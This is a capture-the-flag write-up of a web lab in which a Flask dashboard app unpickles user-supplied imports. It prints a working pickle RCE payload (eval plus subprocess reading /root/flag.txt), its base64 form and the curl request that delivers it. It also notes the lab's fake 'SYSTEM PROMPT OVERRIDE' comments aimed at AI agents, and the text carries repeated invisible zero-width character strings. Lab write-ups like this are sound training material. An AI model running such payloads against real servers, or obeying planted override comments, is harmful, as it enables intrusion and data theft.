← Back to Writeups
CUSTOMMediumWeb

Lab 168 — MetricFlow — Insecure Deserialization via Dashboard Import

XESXOR9/2/20264 min read
#web#custom#medium#base64_payload_encoding#decoy_flag_avoidance#dict_format_matching#insecure_pickle_deserializatio#python_eval_execution#rce_via_reduce_method

Lab 168 — MetricFlow — Insecure Deserialization via Dashboard Import

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: base64_payload_encoding, decoy_flag_avoidance, dict_format_matching, insecure_pickle_deserialization, python_eval_execution, rce_via_reduce_method

Summary

Walkthrough of the CUSTOM Web Lab 168 — MetricFlow — Insecure Deserialization via Dashboard Import. Task: Flask analytics platform imports dashboard configs in .mfx format (base64-encoded pickle) via POST /dashboards/import without validation. Solution: craft malicious pickle with reduce returni

Description

MetricFlow is a real-time analytics dashboard platform built by FlowData Inc. Data teams use it to create custom dashboards with various chart widgets, track KPIs, manage datasets, and generate reports. The platform supports importing and exporting dashboard configurations in its proprietary MetricFlow Exchange (.mfx) format for easy sharing between team members.

You have been given access to a test account on the platform. Explore the application, understand how dashboard configurations are stored and transferred, and find a vulnerability that allows you to read sensitive files from the server. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: A Flask-based analytics dashboard platform uses Python pickle serialization for its dashboard import/export feature. The import endpoint deserializes user-supplied data with pickle.loads() without any validation, enabling arbitrary code execution on the server.

Analysis

Reconnaissance

The target is MetricFlow Analytics Platform v2.1.4, a Flask/Python web application. After logging in with provided credentials (alex.morgan@company.com / password123), the application presents pages for Overview, Dashboards, Reports, Datasets, and Settings. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Decoy flag detection: The HTML source on every page contains honeypot flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) embedded in hidden HTML elements and fake "SYSTEM PROMPT OVERRIDE" comments designed to trick AI agents and automated scanners. These are not the real flag.

Dashboard Import/Export Discovery

The /dashboards page has two critical features:

  • Export: Each dashboard has an export button linking to /dashboards/{id}/export — downloads a .mfx file with header X-Export-Format: MetricFlow Exchange v2.1
  • Import: An "Import" button opens a modal with POST /dashboards/import — accepts base64 data via an import_data textarea field ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Format Analysis

Exporting a dashboard produces a .mfx file containing base64-encoded data. The base64 starts with gASV, which decodes to \x80\x04\x95 — the Python pickle protocol 4 header. Decoding and unpickling reveals a Python dict:

python
{
    'name': 'Dashboard Name',
    'description': 'Description text',
    'widgets': [...],
    'exported_at': '2026-05-14T...',
    'version': '2.1'
}

The .mfx format is simply base64-encoded pickle with no signature, no HMAC, and no validation whatsoever. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Vulnerability

The import endpoint deserializes user-supplied base64-decoded data directly with pickle.loads(). Python's pickle module is inherently unsafe on untrusted input — the __reduce__ method on a class allows specifying an arbitrary callable and arguments that get executed during deserialization. This gives the attacker arbitrary code execution on the server.

Solution

Attempt 1: Simple string return (FAILED)

First payload used subprocess.check_output() returning a string directly: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

python
class RCE:
    def __reduce__(self):
        return (subprocess.check_output, (['id'],))

The server returned error: 'str' object has no attribute 'get' — the application calls .get() on the deserialized object to extract dashboard fields, so it must be a dict.

Attempt 2: Dict-returning payload (SUCCESS)

Adjusted the payload to return a dict matching the expected dashboard config format, embedding the command output in the name field:

python
#!/usr/bin/env python3
import pickle, base64
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

class RCE:
    def __reduce__(self):
        return (eval, (
            "{'name': __import__('subprocess').check_output("
            "['cat', '/root/flag.txt']).decode(), "
            "'description': 'x', 'widgets': []}",
        ))

payload = pickle.dumps(RCE())
encoded = base64.b64encode(payload).decode()
print(encoded)

The key insight is using eval() as the callable, which evaluates a Python expression that:

  1. Calls subprocess.check_output(['cat', '/root/flag.txt']) to read the flag
  2. Wraps the output in a dict with name, description, and widgets keys
  3. Returns the dict, satisfying the application's schema expectations ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Submitting the payload

bash
curl -s -b "$COOKIE" -X POST "$BASE/dashboards/import" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "import_data=gAWVkgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIx2eyduYW1lJzogX19pbXBvcnRfXygnc3VicHJvY2VzcycpLmNoZWNrX291dHB1dChbJ2NhdCcsICcvcm9vdC9mbGFnLnR4dCddKS5kZWNvZGUoKSwgJ2Rlc2NyaXB0aW9uJzogJ3gnLCAnd2lkZ2V0cyc6IFtdfZSFlFKULg=="

The server deserialized the pickle, executed the __reduce__ method, and created a new dashboard with the flag as its name. The success flash message on redirect revealed: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Dashboard "FLAG{REDACTED}" imported successfully

Server enumeration via RCE

Additional commands confirmed the environment:

  • ls -la / — Docker container (.dockerenv present), Alpine Linux
  • find / -name 'flag*' -type f — flag at /root/flag.txt ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

  • Mastering base64_payload_encoding, decoy_flag_avoidance, dict_format_matching, insecure_pickle_deserialization, python_eval_execution, rce_via_reduce_method was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-14 • CUSTOM • Lab 168 — MetricFlow — Insecure Deserialization via Dashboard Import • Difficulty: Medium